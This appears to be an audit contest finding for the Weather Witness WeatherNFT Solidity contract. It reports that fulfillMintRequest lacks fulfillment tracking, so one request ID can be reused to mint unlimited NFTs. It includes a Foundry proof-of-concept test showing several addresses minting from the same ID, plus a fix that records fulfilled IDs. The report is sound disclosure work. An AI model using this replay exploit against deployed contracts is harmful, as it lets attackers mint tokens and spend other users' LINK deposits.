Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[H-2] Missing Fulfillment Tracking in `WeatherNFT` Contract Leads To Multiple NFT Mints From Single Request ID

[H-2] Missing Fulfillment Tracking in WeatherNFT Contract Leads To Multiple NFT Mints From Single Request ID

Description

The fulfillMintRequest function is designed to process oracle responses and mint a unique NFT for each weather data request.
Due to missing fulfillment tracking, the same request ID can be used multiple times to mint an unlimited number of NFTs.

function fulfillMintRequest(bytes32 requestId) external {
//...function logic
_mint(msg.sender, tokenId);
s_tokenIdToWeather[tokenId] = Weather(weather);
// ... rest of function logic
@> // Missing code to track that this requestId has been fulfilled
@> // Missing code to delete request data after fulfillment
}

Risk

Likelihood: Medium

  • Public transaction data makes request IDs visible and accessible to anyone monitoring the blockchain

  • Successful oracle responses remain stored indefinitely in contract storage

  • Anyone with a valid request ID can exploit this vulnerability

Impact: High

  • Unintended NFT inflation - unlimited NFTs can be minted from a single oracle request

  • Storage bloat - request data is never cleaned up, leading to perpetually growing contract storage

  • Value dilution - NFT uniqueness and scarcity are compromised

Proof of Concept

The test bellow proves that a handful of people, can call the fullfillMintRequest function and mint themselves unlimited NFT's.

Add the following to the testing suite:

function test_multiple_mints_with_same_requestId() public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = false; // Disable keeper to simplify test
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 0; // No LINK needed since no keeper
uint256 initialTokenCount = weatherNft.s_tokenCounter();
console.log("Initial token count: ", initialTokenCount);
console.log("Initial price: ", weatherNft.s_currentMintPrice());
// Make an initial legitimate request from user
vm.startPrank(user);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{
value: weatherNft.s_currentMintPrice()
}(pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit);
vm.stopPrank();
// Get request ID from logs
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (
logs[i].topics[0] ==
keccak256(
"WeatherNFTMintRequestSent(address,string,string,bytes32)"
)
) {
(, , , reqId) = abi.decode(
logs[i].data,
(address, string, string, bytes32)
);
break;
}
}
assert(reqId != bytes32(0));
// Oracle fulfills with a successful weather response
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(
WeatherNftStore.Weather.SUNNY
);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
// Multiple users will now use the same request ID to mint NFTs
address[] memory minters = new address[](5);
minters[0] = user; // Original requester
minters[1] = attacker; // Malicious actor
minters[2] = frontRunner; // Another malicious actor
minters[3] = makeAddr("random1");
minters[4] = makeAddr("random2");
// Track minted token IDs
uint256[] memory tokenIds = new uint256[](5);
uint256 mintersLength = minters.length;
// Each user mints an NFT with the SAME requestId
for (uint256 i = 0; i < mintersLength; i++) {
// Record token counter before minting
uint256 tokenCountBefore = weatherNft.s_tokenCounter();
console.log(
"Token count before minting: ",
tokenCountBefore
);
// Mint using the same requestId
vm.prank(minters[i]);
weatherNft.fulfillMintRequest(reqId);
// Verify an NFT was minted (token counter increased)
uint256 tokenCountAfter = weatherNft.s_tokenCounter();
console.log(
"Token count after minting: ",
tokenCountAfter
);
tokenIds[i] = tokenCountBefore; // The ID that was minted
console.log(
"Token ID minted: ",
tokenIds[i]
);
assertEq(
tokenCountAfter,
tokenCountBefore + 1
);
assertEq(
weatherNft.balanceOf(minters[i]),
1
);
assertEq(
weatherNft.ownerOf(tokenIds[i]),
minters[i]
);
// Verify all NFTs have the same weather (from the single oracle response)
assertEq(
uint8(weatherNft.s_tokenIdToWeather(tokenIds[i])),
uint8(WeatherNftStore.Weather.SUNNY)
);
console.log(
"User %s minted token ID %d using requestId %s",
minters[i],
tokenIds[i],
vm.toString(reqId)
);
}
// Verify 5 NFTs were minted from a single request
assertEq(
weatherNft.s_tokenCounter(),
initialTokenCount + 5
);
// Verify request data is still available even after multiple mints
(uint256 reqHeartbeat, address reqUser, , , , ) = weatherNft
.s_funcReqIdToUserMintReq(reqId);
assertEq(reqUser, user, "Request data should still exist in storage");
assertEq(
reqHeartbeat,
heartbeat,
"Request data should still exist in storage"
);
console.log("Final price: ", weatherNft.s_currentMintPrice());
console.log(
"Final token count: ",
weatherNft.s_tokenCounter()
);
}

LINK Deposit Exploitation Scenario

In a scenario with keeper registration enabled (which we disabled in the test for simplicity), this vulnerability becomes even more severe:

  1. User A makes a legitimate request with a LINK deposit (e.g., 5 LINK)

  2. Multiple attackers call fulfillMintRequest with User A's requestId

  3. Each attacker gets an NFT with keeper services registered

  4. All keeper registrations use User A's LINK deposit

  5. User A effectively pays for keeper services for all attacker NFTs

Recommended Mitigation

Consider using a mapping and a custom error to track which requestIds have been fulfilled.

+ // Track which requestIds have been fulfilled
+ mapping(bytes32 => bool) private s_requestIdFulfilled;
function fulfillMintRequest(bytes32 requestId) external {
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
+ // Prevent duplicate fulfillment
+ require(!s_requestIdFulfilled[requestId], "WeatherNft__RequestAlreadyFulfilled");
...rest of function logic
s_weatherNftInfo[tokenId] = WeatherNftInfo({
heartbeat: _userMintRequest.heartbeat,
lastFulfilledAt: block.timestamp,
upkeepId: upkeepId,
pincode: _userMintRequest.pincode,
isoCode: _userMintRequest.isoCode
});
+ // Mark request as fulfilled
+ s_requestIdFulfilled[requestId] = true;
+
+ // Clean up storage to prevent bloat and reduce gas costs
+ delete s_funcReqIdToMintFunctionReqResponse[requestId];
+ delete s_funcReqIdToUserMintReq[requestId];
}
+ // Add a custom error for duplicate fulfillment
+ error WeatherNft__RequestAlreadyFulfilled();
Updates

Appeal created

bube Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Multiple tokens for one `requestId`

The `WeatherNFT::fulfillMintRequest` allows a malicious user to call multiple times the function with the same `requestId`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.